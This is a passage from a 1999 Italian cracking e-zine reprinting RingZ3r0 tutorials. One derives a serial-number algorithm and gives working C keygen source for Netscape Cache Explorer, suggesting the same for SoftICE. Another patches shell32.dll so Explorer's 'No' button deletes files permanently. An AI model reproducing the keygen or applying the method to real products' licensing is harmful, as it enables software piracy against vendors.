r8=p8+7%10
e dove px e' l'x-esimo elemento della password modificata, cioe':
(valore dell'x-esimo elemento della password originale-((x-esimo elemento del
nome "scritto su se stesso")%26)+65)+26 (se il valore e' <0).
Un casino, dite? Beh, non avete mai visto camera mia :)
Comunque lo ammetto, questa situazione e' abbastanza imbarazzante,specialmente
se vogliamo cercare di invertire la "funzione" (e noi lo vogliamo!): questo
perche' una funzione di questo tipo, ovvero che fa uso dell'operatore resto,
puo' avere un numero infinito di soluzioni (ad esempio, il resto "5" di una
divisione per 10 puo' essere stato generato dai numeri "5", "15", "25" e cosi'
via). Tutto cio' che dobbiamo fare, a questo punto, e' usare i nostri cervelli
... dobbiamo creare _DA_ZERO_ UNA delle INFINITE soluzioni, possibilmente la
piu' semplice per noi! :)
//
Nota: in realta' non sono infinite - i numeri in gioco NON sono infiniti pero' sono
tante, abbastanza da occupare tutti i nostri futuri weekend liberi :)
//
D'ora in poi, leggerete LA MIA soluzione, ma la vostra puo' essere diversa dalla
mia...
Se avete qualche idea che pensate sia migliore delle mie, PER FAVORE fatemelo
sapere,
anche io sono qui per imparare! Potete vedere il mio indirizzo email alla fine
del
testo.
Ok, la PRIMA cosa che dobbiamo fare e' buttare giu' alcune idee:
1) Dobbiamo ridurre il numero di parametri che cambiano.
2) Dobbiamo costruire quel dannato numero 400d.
3) Dobbiamo fare un generatore di chiavi funzionante :)
A questo punto, ho deciso di cominciare dal fondo: il numero 400. Come viene
costruito?
Beh, lo potete vedere voi stessi dalle righe precedenti... e' la somma di
sette prodotti in cui il secondo membro e' il primo membro del prodotto
successivo. Quindi, cerchiamo di dare alcuni valori a quegli rx per creare il
numero giusto. QUESTO e' un casino... ed ecco che entra in gioco lo Zen :)
Ho pensato: "Ehi, questi programmatori sono esseri umani come me,probabilmente
avranno pensato a qualche numero SEMPLICE"... inoltre, i numeri da r2 a r7
vengono moltiplicati DUE volte, quindi probabilmente i programmatori avranno
trovato piu' semplice utilizzare delle potenze di 2. Quindi:
1) Usa numeri facili/moltiplica 2 volte --> Ripeti lo STESSO numero il piu'
volte possibile
2) Potenze di due --> parti con la potenza di 2 piu' grande che sia pero'
<10, ovvero 8
In questo modo ho scoperto che il numero 400 e' costituito da (8*8)*6 + (8*2).
La riga scritta in precedenza diventa:
08*08 + 08*08 + 08*08 + 08*08 + 08*08 + 08*08 + 08*02 =190h=400d
r1*r2 + r2*r3 + r3*r4 + r4*r5 + r5*r6 + r6*r7 + r7*r8 =190h=400d
E:
r1=p1+0%10=8
r2=p2+1%10=8
r3=p3+2%10=8
r4=p4+3%10=8
r5=p5+4%10=8
r6=p6+5%10=8
r7=p7+6%10=8
r8=p8+7%10=2
->
->
->
->
->
->
->
->
p1=8
p2=7
p3=6
p4=5
p5=4
p6=3
p7=2
p8=5 (5+7=12 ; 12%10=2)
Ora conosciamo i valori che la pw modificata dovrebbe avere. Ma cosa dire
della password ORIGINALE? Da cosa e' costituita? Numeri? Lettere? Ora dobbiamo
semplificare il nostro lavoro il piu' possibile: in un primo momento avevo
pensato di utilizzare semplicemente dei numeri, ma ho notato che, se chiamiamo
"x" il valore di un carattere della pw e "c" il valore di un carattere del
nome "ripiegato su se stesso", si ottiene:
p=(x-(65+c%26)(+26?))%10
e, se x e' un numero (ascii 48-57) e io sottraggo ad essoun valore compreso
fra 65 e 65+26, anche se ad esso aggiungessi sempre 26 il valore risultante
sarebbe talvolta maggiore di 0 e talvolta minore di 0. MALE: se devo lavorare
con dei resti non voglio che fra essi ci siano dei "salti" come quello fra 0
(resto 0) e -1 (=255, resto 255). Per questo motivo ho deciso di utilizzare
per la password le lettere dalla a alla z, in modo da avere SEMPRE dei numeri
positivi e non dover neanche avere a che fare con quel (26?) :)
Quindi, le p vengono costruite grazie alla seguente equazione:
p=(x-(65+c%26))%10
Benissimo, ho risolto un problema ma ora ne ho un altro: come posso fare in
modo che le "p" siano esattamente come quelle di cui ho bisogno? Infatti, se
ho bisogno di un resto, sia la lettera n-esima sia la (n+10)-esima possono
andare bene. Ho deciso di cominciare da una pw costituita da sole "a", quindi
calcolare i suoi valori "p", quindi aggiungere la "differenza" fra i "p" che
ho calcolato e quelli di cui ho bisogno. Proviamo con un nome semplice:
MaLaTTiA :)
1) Ripiega la stringa
(qui non e' necessario)
2) Dec
3) p=(97-(65+c%26))%10
(97 e' "a")
4) Valori richiesti
5) Aggiungi ad "a"
6) PASSWORD:
M
a
L
a
T
T
i
A
77
07
97
03
76
08
97
03
84
06
84
06
105
01
65
09
08
01
b
07
04
e
06
08
i
05
02
c
04
08
i
03
07
h
02
01
b
05
06
g
Ehi... FUNZIONA!!! :)
Questo e' tutto. Ora, ecco il sorgente C per questo generatore di chiavi
(abbiate pazienza, il mio C non e' un granche'... ;)
*****************************************************************************
#include
unsigned char s[8]={0,0,0,0,0,0,0,0};
char string [80];
int values[8], required[8]={8,7,6,5,4,3,2,5};
int i,j,ok=0,ok2=0;
void main (){
printf ("\n...//\\Oo/\\\\ Netscape Cache Explorer v1.26 KeyGen - by
.MaLaTTiA. //\\Oo/\\\\...\n\n");
printf ("\nUser name: ");
gets (string);
i=j=0;
if (string[0]==0) exit(0);
while ((!ok)||(!ok2)){
if (string[j]==0){
if (!ok2) j=0;
ok=1;
}
s[i]=s[i]+string[j];
j++;i++;
if (i>7){
ok2=1;
i=0;
}
}
for (i=0;i<=7;i++){
values[i]=required[i]-((32-(s[i]%26))%10);
if (values[i]<0) values[i]=values[i]+10;
}
printf ("Key: ");
for (i=0;i<=7;i++){
printf ("%c", 97+values[i]);
}
printf ("\n");
}
*****************************************************************************
Noto ora che non e' neanche ottimizzato... bah, funziona! :)) Credo che questo
sorgente sia abbastanza semplice da comprendere, tuttavia se non comprendete
qualcosa mandatemi una mail e saro' felice di aiutarvi! Ora, potete anche
costruire il generatore di chiavi per MSICE, tenendo presente che il valore
necessario non e' 190h ma e' 192h. Provatelo, l'algoritmo e' lo stesso! :)
byez,
.+MaLaTTiA. ([email protected])
NOTA DI N0bodY88 = un tnx 1000 al mitico +MaLaTTiA dei RingZ3r0 che potete
trovare (e se non vi e' venuta voglia di andare al loro
sito per questo art e x i prossimi 2...be...meditate il
suicidio...hihihi) al l'url http://ringzer0.cjb.net e
buona lettura :-)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ UN ESEMPIO DI DLL REVERSING - COME RICONFIGURARE IL COMPORTAMENTO DI ³º
º³ EXPLORER MODIFICANDO ALCUNE FUNZIONI DELLA LIBRERIA SHELL32.DLL
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
By -NeuRaL_NoiSE
______________________________________________________________________________
Salve a tutti!!
Quante volte avete pensato "cacchio se solo potessi evitare di far passare i
files per il cestino di Windows quando li elimino...che rottura dover prima
cancellare, poi svuotare il cestino, magari anche solo per un file....solo
che poi se gli dico di eliminare sempre i files a volte mi trovo in
difficolta'..." ??? Bene, se rientrate nella folta schiera (me compreso,
altrimenti questo tute non avrebbe mai visto la luce :) di coloro i quali si
pongono il problema, beh allora state leggendo il .txt adatto :)
a questo punto permettetemi di spiegarvi sinteticamente un paio di cosette e
DISCLAIMARE le mie responsabilita':
UNO : Se apporterete le modifiche che vi indichero' in questo tutorial, non
ritenetemi responsabile per perdite accidentali dei vostri dati (il vostro
comando ELIMINA da explorer non sara' piu' sicuro come un tempo!! :)
DUE : questo e' un tutorial rivolto al reverse engineering piu' che al
cracking. Se avete scaricato questo file credendo di poter sproteggere un
programma o crackare un gioco, mi dispiace deludervi ma non troverete niente
di simile qui. Vi consiglio di dare un'occhiata ai tutorials su
ringzer0.cjb.net - troverete sicuramente qualcosa di vostro gradimento :)
Detto cio'......LET'S GO!!!
allora....come avrete certamente capito dall'intro, in questo tute faremo in
modo che quando scegliete una determinata opzione, il vostro fido explorer di
Window$ ELIMINERA' fisicamente i files dal disco, senza farli passare dal
cestino. "Bella novita'", starete pensando..."lo posso fare pure selezionando
l'opzione 'Non spostare i files nel cestino, elimina direttamente' nelle
proprieta' del cestino"....ed invece ecco la novita'....che ne direste di un
bel dialog box con tre opzioni, UNO=SPOSTA NEL CESTINO, DUE=ELIMINA DAL DISCO
e TRE=ANNULLA L'OPERAZIONE ? Esatto....sto parlando di combinare, in qualche
arcano modo, le tre cose senza smanettare con le opzioni del cestino
(IMPORTANTE: PER SEGUIRE QUESTO TUTE, E SUCCESSIVAMENTE, *DOVETE* LASCIARE
L'OPZIONE "SPOSTA NEL CESTINO", NIENTE "ELIMINA DIRETTAMENTE").
Ok, basta chiacchiere....
Contrariamente a quello che qualcuno potrebbe pensare, *NON* e' EXPLORER.EXE
che regola le operazioni come cancellare i files, copiarli ecc., ma queste
funzioni sono svolte da una DLL (Dynamic Link Library, ovvero un insieme di
funzioni che vengono sfruttate da un programma, nel nostro caso EXPLORER.EXE)
chiamata SHELL32.DLL e situata sotto WINDOWS\SYSTEM. Niente di grave,
tratteremo la DLL come un qualsiasi eseguibile, e i tools saranno gli stessi
di sempre:
* W32Dasm v8.93
* SoftICE v3.24
* HIEW v6.01
Bene...ci dovreste essere.
Aprite Shell32.dll con W32dasm....noterete la differenza di image base....non
piu' 40000000h come i classici .exe ma 7FDB0000h. Bene, ora aprite Explorer.exe
(Gestione Risorse) e create una directory temporanea, riempendola di files
inutili copiati da altre dirs. MI RACCOMANDO NON OPERATE CON DIRECTORY GIA'
PRESENTI SUL VOSTRO HARD DISK, PERCHE' LE POSSIBILITA' DI PERDERNE I DATI
CONTENUTI E' MOLTO ALTA!
Allora...prendete un file a caso della vostra dummy dir e scegliete ELIMINA
dal menu FILE (o dal context menu che appare premendo il tasto destro del
mouse). Noterete un simpatico dialog che vi chiede se volete spostare xxxx.xxx
nel cestino.....benissimo, ecco trovato il nostro hook per accedere al codice.
Ad una prima occhiata, e' intuibile che la API su cui breakare e'
DialogBoxParamA. E cosi' fate....scegliete NO, entrate in SoftICE, e scrivete
"BPX DialogBoxParamA".
Riselezionate "elimina" e sice vi poppera' sullo schermo. premete F12 e sarete
di nuovo in pista, stavolta con il dialog sullo schermo. Selezionate SI...Sice
ri-poppera', e sarete alla riga successiva al caller del Dialog Box, che e'
questa:
* Reference To: USER32.DialogBoxParamA, Ord:0084h
|
:7FDE2505 FF15E83DE17F
Call dword ptr [7FE13DE8]
Date un'occhiata ad EAX, che come saprete contiene il valore di ritorno di
OGNI funzione API. Notate che e' 6. Ora premete F5, e il vostro file verra'
spostato nel cestino. Adesso riprovate a scegliere ELIMINA. Noterete che,
scegliendo NO, il return value in EAX successivamente al DialogBoxParamA e'
= 7. Ripete l'operazione, ma stavolta lasciate perdere il mouse e premete
ESC. Il return value sara' 2. quindi possiamo tracciare un semplice schema:
VALORE DI RITORNO DALLA CALL DEL DIALOGBOX | TASTO/BUTTON SELEZIONATO | **
SIGNIFICATO **
___________________________________________|__________________________|_________
_______________
|
|
00000006
| BUTTON "SI" SUL DIALOG
| SPOSTA
FILE NEL CESTINO
___________________________________________|__________________________|_________
_______________
|
|
00000007
| BUTTON "NO" SUL DIALOG
| ANNULLA
L'OPERAZIONE
___________________________________________|__________________________|_________
_______________
|
|
00000002
| TASTO "ESC" DA TASTIERA | ANNULLA
L'OPERAZIONE
___________________________________________|__________________________|_________
_______________
Hmm.....cio' che salta all'occhio qui e' un'inutile ripetizione.....due valori
di ritorno svolgono la stessa funzione...sarebbe molto meglio se potessimo
modificare il significato del button "NO" sul dialog box....magari
redirezionandolo verso l'ELIMINAZIONE FISICA del file selezionato dall'hard
disk...In tal modo, senza grosse modifiche al codice avremmo una situazione
molto piu' interessante: "SI" sposterebbe il file nel cestino, "NO" lo
eliminerebbe fisicamente e "ESC" annullerebbe l'operazione. Vediamo che si
puo' fare :)
Cominciamo a tracciare con F10, finche' non arriviamo qui
* Referenced by a JUMP at Addresses:
|:7FDE24ED(U), :7FDE2519(C), :7FDE2524(U)
|
:7FDE252B 83FE06
cmp esi, 00000006
:7FDE252E 751E
:7FDE2530 8B452C
:7FDE2533 8B00
:7FDE2535 A810
:7FDE2537 7515
:7FDE2539
:7FDE253B
:7FDE253D
:7FDE253F
:7FDE2541
A805
7411
85FF
7503
8B7D20
; ESI CONTIENE IL
; RETURN VALUE
jne 7FDE254E
; SE NON SI E'
; SCELTO "SI"
mov eax, dword ptr [ebp+2C]
mov eax, dword ptr [eax]
; BYTE INIZIALE
; DESCRITTORE OBJECT
test al, 10
; CONTROLLA SE L'OBJECT
; E' UNA DIR
jne 7FDE254E
; SE SI (10=DIR,
; 20=FILE) SALTA
test al, 05
; SE E' UN FILE....
je 7FDE254E
; SALTA COMUNQUE :)
test edi, edi
jne 7FDE2544
mov edi, dword ptr [ebp+20]
Stop! Abbiamo quanto basta a capire che la continuazione naturale della
procedura e' a 7FDE254E...dove troviamo questa parte di codice:
:7FDE254E 8BC6
mov eax, esi
Il return value viene rimesso in eax, molto bene....siamo sulla strada giusta
...il check precedente serviva quindi solo a verificare problemi di memoria o
di invalid handle....se c'erano problemi in eax veniva lasciato un dummy value
e le operazioni successive non sarebbero andate in esecuzione. Come vedrete
shell32.dll e' PIENA di checks di questo tipo...potete pure chiamarlo Good
Old Micro$oft Redundant Code (TM) :)
Continuiamo il tracing con SoftICE fino al ret 028...ci ritroveremo qui:
:7FDE4093 E810E1FFFF
call 7FDE21A8
:7FDE4098 8BF8
mov edi, eax
;<-- TORNIAMO DA
;
QUESTA CALL
* Referenced by a JUMP at Address:
|:7FDE4064(C)
|
:7FDE409A 83FF06
cmp edi, 00000006
:7FDE409D 7540
:7FDE409F 8B442434
:7FDE40A3 8B08
:7FDE40A5 F6C110
QUI??
:7FDE40A8 7435
:7FDE40AA 81FD00010000
:7FDE40B0 7408
:7FDE40B2 81FD00030000
:7FDE40B8 7525
; DI NUOVO...CHECK SE
; ABBIAMO PREMUTO SI
jne 7FDE40DF
; ALTRIMENTI ELABORA
; DI CONSEGUENZA
mov eax, dword ptr [esp+34]
mov ecx, dword ptr [eax] ; BYTE INIZIALE
; DESCR. OBJ. IN ECX
test cl, 10
; ABBIAMO UN FILE
je 7FDE40DF
cmp ebp, 00000100
je 7FDE40BA
cmp ebp, 00000300
jne 7FDE40DF
; SI! SALTA !
; O UNA DIR??
; (100=DIRECTORY)
; (300=FILE)
Benissimo.....ulteriori checks (uff! :)...ora il nostro jne a 409D non saltera'
perche' abbiamo scelto "SI", mentre prenderemo quello a 40A8 per ovvi motivi
(abbiamo scelto un file:)...ora una premessa e' d'obbligo. Poiche' quello che
stiamo per fare e' MOLTO pericoloso per i vostri dati, ho deciso di trattare
in questo tutorial SOLO la modifica del codice relativo all'eliminazione di
UN SOLO FILE ALLA VOLTA. In altre parole, il file verra' distrutto SOLO quando
verra' cancellato DA SOLO. Se decidete di cancellare directories intere, o
piu' file alla volta, dovrete servirvi del cestino. Comunque, se siete
intenzionati a modificare anche il codice relativo alla cancellazione di piu'
files o di una dir intera, vi do un piccolo consiglio...il dialog box e'
diverso per quando dovete cancellare piu' files...quindi, un bpx su
DialogBoxParamA vi fara' poppare in un altro punto, e troverete semplice
orientarvi nello stesso modo in cui stiamo agendo qui. (consiglio nel
consiglio ;) : Quando cancellate piu' files potete provare a noppare il mov
eax,2 che viene eseguito SIA quando premete ESC SIA quando premete il button
"NO"...noppando il mov, avrete la dovuta differenziazione (7 o 2) nel return
value, che vi serve a ridirezionare le funzioni anche in tal caso...l'unico
problema e' che poi dovrete appendere del codice se questo non e' gia'
presente nella dialog procedure, quindi magari dovrete ingrandire l'ultima
sezione del pe e...ma hey! questo e' un altro discorso :)
Ritorniamo a noi! :)
I checks ci fanno intuire che la prossima zona di codice per l'elaborazione
dei return values, nel caso in cui si e' scelto un file (insomma proprio cio'
che ci interessa :) e' a 7FDE40DF.
Ecco qui....
:7FDE40DF
:7FDE40E2
:7FDE40E4
:7FDE40E7
:7FDE40E9
:7FDE40EE
:7FDE40F0
:7FDE40F4
:7FDE40F5
:7FDE40F9
83FF02
741A
83FF07
7415
837C241C00
740E
FF742424
56
FF742434
E845EEFFFF
cmp edi, 00000002
je 7FDE40FE
cmp edi, 00000007
je 7FDE40FE
cmp dword ptr [esp+1C], 00000000
je 7FDE40FE
push [esp+24]
push esi
push [esp+34]
call 7FDE2F43
* Referenced by a JUMP at Addresses:
|:7FDE40E2(C), :7FDE40E7(C), :7FDE40EE(C)
|
:7FDE40FE 8BC7
mov eax, edi
:7FDE4100 5D
pop ebp
:7FDE4101
:7FDE4102
:7FDE4103
:7FDE4104
:7FDE4107
5F
5E
5B
83C418
C22400
pop
pop
pop
add
ret
edi
esi
ebx
esp, 00000018
0024
Altri tre checks....se abbiamo scelto ESC o "NO", il programma esce dalla call
(con il ret 024 a 4107) conservando tale valore nel registro, altrimenti esegue
una zona di codice, allo scopo di rilevare i dati necessari alla cancellazione
del file (con la call a 40F9). Continuiamo a tracciare con SoftICE, e ci
ritroveremo al caller....
:7FDE4952
CALL
:7FDE4957
:7FDE495A
:7FDE4960
:7FDE4963
:7FDE4965
:7FDE4968
E8A3F6FFFF
call 7FDE3FFA
; <--NOI TORNIAMO DA QUESTA
83F802
0F847F080000
83F806
743F
83F807
0F8486070000
cmp eax, 00000002 ; HAI PREMUTO "ESC" ?
je 7FDE51DF
cmp eax, 00000006 ; HAI SCELTO "SI" ?
je 7FDE49A4
cmp eax, 00000007 ; HAI SCELTO "NO" ?
je 7FDE50F4
* Referenced by a JUMP at Addresses:
|:7FDE48D1(U), :7FDE50AF(U)
|
:7FDE496E 8945FC
mov dword ptr [ebp-04], eax ;
C'E' QUALCOSA CHE
;
NON CONTIENE
;
VALORI DI CUI
;
UN INVALID
;
MESSAGGIO DI ERRORE!
SORRY, MA QUI
NON VA...SE EAX
NESSUNO DEI 3
SOPRA, ABBIAMO
HANDLE!
Wohho! Ecco il codice che ci interessa....il gioco si fa interessante :D
La fortuna ci assiste....abbiamo tre ramificazioni per tre eventuali opzioni
...adesso tutto sta a ridirezionare il je relativo alla pressione del button
"NO" in una zona di codice diversa, che ELIMINERA' il file dall'hard disk....
non avremo bisogno di perdere tempo con le raw sizes e le virtual sizes delle
sezioni del pe, e questo e' un bel vantaggio!
Per ora continuiamo a tracciare, per renderci un po' conto di come funzionano
le cose...la nostra corsa deviera' a 4963 perche' in questo caso abbiamo
scelto "SI"... e ci ritroveremo qui:
:7FDE49A4
:7FDE49A7
:7FDE49A9
:7FDE49AC
:7FDE49B1
:7FDE49B3
:7FDE49B9
:7FDE49BE
:7FDE49C4
:7FDE49C9
:7FDE49CF
:7FDE49D4
:7FDE49D6
8B4DF4
8B01
0B45F8
3D01020000
7725
0F8402020000
3D01010000
0F848E000000
3D02010000
0F84FA000000
3D03010000
7447
EB3E
mov ecx, dword ptr [ebp-0C]
mov eax, dword ptr [ecx]
or eax, dword ptr [ebp-08]
cmp eax, 00000201
ja 7FDE49D8
je 7FDE4BBB
cmp eax, 00000101
je 7FDE4A52
cmp eax, 00000102
je 7FDE4AC9
cmp eax, 00000103
je 7FDE4A1D
jmp 7FDE4A16
Non fatevi spaventare dal numero dei jumps, se tutto va bene prenderete
sempre il JA a 49B1 (non lo prendete se state cancellando un folder, ma gia'
al primo file dello stesso saltera'), che vi portera' qui:
:7FDE49D8
:7FDE49DD
:7FDE49DF
:7FDE49E4
:7FDE49EA
:7FDE49EF
3D02020000
743E
3D03020000
0F84D1010000
3D01030000
0F84F0030000
cmp eax, 00000202
je 7FDE4A1D
cmp eax, 00000203
je 7FDE4BBB
cmp eax, 00000301
je 7FDE4DE5
:7FDE49F5
:7FDE49FA
:7FDE4A00
:7FDE4A05
3D02030000
0F843C020000
3D03030000
0F8444030000
cmp eax, 00000302
je 7FDE4C3C
cmp eax, 00000303
je 7FDE4D4F
:7FDE4A0B 3D04030000
:7FDE4A10 0F8499030000
cmp eax, 00000304
je 7FDE4DAF
; JUMP CHE VERRA' PRESO
; SE TUTTO VA BENE
Hmmm....sembrano a colpo d'occhio ulteriori checks sulle caratteristiche dei
files...lasciamoli stare....il jump che prendera' sempre e' quello a 4A05.
Ecco dove conduce:
:7FDE4D4F 8B4730
:7FDE4D52 85C0
:7FDE4D54 741C
:7FDE4D56 53
:7FDE4D57 8D4DFC
:7FDE4D5A 6A00
:7FDE4D5C 8D95E4FDFFFF
:7FDE4D62 50
:7FDE4D63 51
:7FDE4D64 52
:7FDE4D65 E815690000
OPZIONE "CESTINO ON"
:7FDE4D6A 85C0
CESTINO E' OFF
:7FDE4D6C 0F85ABFCFFFF
SALTA E SPOSTA
mov eax, dword ptr [edi+30]
test eax, eax
je 7FDE4D72
push ebx
lea ecx, dword ptr [ebp-04]
push 00000000
lea edx, dword ptr [ebp+FFFFFDE4]
push eax
push ecx
push edx
call 7FDEB67F
; CALL DI CONTROLLO
test eax, eax
; EAX E' *ZERO* SE
jne 7FDE4A1D
; HAI IL CESTINO "ON",
; I FILES
* Referenced by a JUMP at Address:
|:7FDE4D54(C)
|
:7FDE4D72 8D85E4FDFFFF
lea eax, dword ptr [ebp+FFFFFDE4] ; ALTRIMENTI
PROCEDI CON
:7FDE4D78 50
push eax
;
L'ELIMINAZIONE FISICA DEL
* Reference To: SHELL32.Ordinal:00A4
; FILE
DALL'HD !!
|
:7FDE4D79 E8C7C3FFFF
call 7FDE1145
:7FDE4D7E 85C0
test eax, eax
:7FDE4D80 7409
je 7FDE4D8B
:7FDE4D82 C745FC00000000
mov [ebp-04], 00000000
:7FDE4D89 EB09
jmp 7FDE4D94
Eh....sembra che ci siamo :)
Tutto viene giostrato da quella call di controllo opzione a 4D65...se il
risultato di quella call e' ZERO, i files verranno cancellati fisicamente,
altrimenti verranno spostati nel cestino. Io personalmente ci sono arrivato
tracciando passo per passo la call, e segnandomi le differenze nell'esecuzione
che si verificano con le due opzioni di cestino "on" e "off".
Se vi puo' interessare, la zona di codice in cui viene decisa la sorte di eax
in quella call e' quella dei tre jumps agli indirizzi B660, B666 e B66C. Lo
xor azzerera' eax e ci restituira' il valore zero, evitando per altro di
eseguire una buona parte del codice della call (che serve a preparare lo
spostamento del file nel cestino).
Ora quindi sappiamo che, per ELIMINARE fisicamente i files, il nostro
programma deve eseguire il codice che parte a 4D72...hey ma cosa vedo?? un
jump che porta li'?? hmm, mettiamo un bpx su questo jump (7FDE4D54)...strano,
non salta mai....nemmeno quando abbiamo il cestino ad "OFF"...ah! dimenticavo
....il solito Redundand Code (TM) della Micro$oft :)))
Ora pero' devo dire che questo jump inutile (vabbeh, saltera' una volta ogni
dieci millenni:) mi ha fatto pensare una cosa....se c'e' un jump che evita
tutta la zona di codice precedente, non dobbiamo preoccuparci di inserire una
flag e farla controllare dopo la call di controllo... si puo' accedere a quel
codice anche EVITANDO tutto il check..lo dimostra il fatto che i programmatori
hanno inserito nel codice un jump che fa proprio questo....evitare il codice...
e' solo una questione di intuizione e logica (chiamiamolo ZEN che mi fa
sembrare piu' cool ;)
la soluzione a questo punto e' semplicissima......modificheremo il jump
relativo al tasto "NO" in modo che esegua DIRETTAMENTE il codice a 7FDE4D72,
invece che eseguire le sue inutili funzioni ! Pertanto il primo passo da
seguire e' fare un BACKUP del file shell32.dll, chiamandolo ad es. shell32.bak.
Poi copiamolo anche su un file temporaneo che andremo a patchare fisicamente
(non possiamo patchare shell32.dll perche' non viene scaricato dalla memoria,
nemmeno quando chiudiamo explorer.exe). Adesso abbiamo 3 files, shell32.dll,
shell32.bak e, diciamo, shell32.new.
La logica ci direbbe di segnarci i due offsets (del je relativo a "NO" e del
punto in cui vogliamo che salti), aprire HIEW e patchare come in ogni altro
caso...e invece NO! Se tentate questo approcio, al riavvio di Windows con la
nuova shell32.dll, premendo "NO" avrete l'amara delusione di un misero GPF...
perche'?? La spiegazione e' molto semplice, il motivo purtroppo no....ho
pensato ad una differenza di image base, ma gradirei se qualcuno mi spiegasse
con certezza il perche' di questo problema. Quando patchiamo con HIEW, e' vero
che l'offset a cui diciamo di saltare cambia in 34172h, ma purtroppo,
all'esecuzione del jump nella "vita reale:)", la dll saltera' alla RIGA DI
CODICE 34172h, NON all'offset 34172h (che e' relativo alla riga di codice
7FDE4D72)....hmmm problemuccio fastidioso eh?? Su, basta un po' di logica....
non dimenticatevi MAI della potenza di SoftICE...entrateci e scrivete CODE ON
(se non l'avete gia' nella init string)...questa opzione vi permettera' di
visualizzare i bytes relativi alle varie istruzioni del codice...adesso
mettete un bel bpx su 7FDE4968 (il je relativo alla pressione del button "NO")
...per entrare nel codice della dll basta il solito bpx DialogBoxParamA. ora
premete "NO" alla richiesta di spostamento del file nel cestino, e vi
troverete fermi sulla riga del je su cui abbiamo piazzato il bpx. Se
continuate con l'esecuzione causerete un GPF, ma se invece premete A
(Assemble instruction), Sice vi dara' un simpatico prompt in cui potrete
inserire il codice che volete, relativo alla riga in cui vi trovate. Non
dovete far altro che inserirvi "JE 7FDE4D72", e noterete un cambiamento dei
bytes a fianco all'istruzione. Prendete un pezzo di carta, e segnatevi per
filo e per segno quei bytes. Dovrebbero essere questi: 0F8404040000.
Detto cio', uscite da tutto e aprite HIEW con il vostro file temporaneo
shell32.new...andate all'offset 33D68h, premete F3 e inserite l'ESATTA
sequenza di bytes che vi ha dato SoftICE. Salvate il file, riavviate in
modalita' MsDos, andate sotto windows\system e copiate SHELL32.NEW in
SHELL32.DLL (che adesso e' sovrascrivibile, perche' non c'e' Windows in
esecuzione). Mi raccomando la copia di Backup del file. adesso riavviate
Windows.....aprite explorer e provate "elimina" su di un file che non vi
interessa...se premete ESC, il file resta li'.....se premete "SI" viene
spostato nel cestino...e se premete "NO" il file scompare dall'hard disk!!
E' FATTA! :D
__________
Con questo tutorial ho voluto dimostrare come puo' essere semplice fare un po'
di sano reversing, e spero che qualcuno abbia imparato qualcosa da questo txt.
Se avete problemi a seguire il tutorial o volete chiedermi o comunicarmi
qualcosa, il mio indirizzo e' [email protected]
Detto cio', saluto tutti gli amici da #cracking4newbies, #crack-it e RingZ3r0
...e colgo l'occasione per dare il benvenuto ad ALoR nel gruppo!!! :)
till next time......
-NeuRaL_NoiSE 1999
NOTA BY N0bodY88 = ancora grazie a RingZ3r0 e all'autore NeuRaL_NoiSE x averci
permesso di pubblicare all'interno di NewBies questo simp
mitico tutorial. PS: complimenti a NN che oltre a essere
bravo e' sempre disponibile e strasimpatico {|:->)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
NOTA DI N0bodY88 = mi scuso con i mitici membri di ringZ3r0 se ho dovuto
modificare le impostazioni dei loro articoli ma dato che
nei num. precedenti ci hanno scritto che le stampe venivano
male allora in questo numero abbiamo deciso di fare il
tutto al max largo quanto una pagina (a parte qualke tabella
e qualke eccezione, cmq ricordo che NewBies e' fatta x
essere letta e stampata con l'edit di dos [ il buon vecchio
editor :-D ]). Se volete vedere gli art/tut. originali cmq
basta che andate sul sito ringZ3r0 :-)....al solito...io vi
consiglio di scaricarvelo tutto con teleport xche' se
cominciate a leggere online....okkio alla bolletta!!!!!!!!!
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
áááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááá
ê
ê
ý
[x] ringZ3r0 Proudly Presents [x]
ý
ý
ý
ñ
ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ
ñ
ñ
ñ
ü PE-Crypters : uno sguardo da vicino al c.d. "formato" PE ü
Kill3xx
02 Marzo,1999
--==[
PREMESSA
]==----------------------------------------------------------
LE INFORMAZIONI CHE TROVATE ALL'INTERNO DI QUESTO FILE SONO PER PURO SCOPO
DIDATTICO. L'AUTORE NON INCORAGGIA CHI VOLESSE UTILIZZARLE PER SCOPI ILLEGALI.
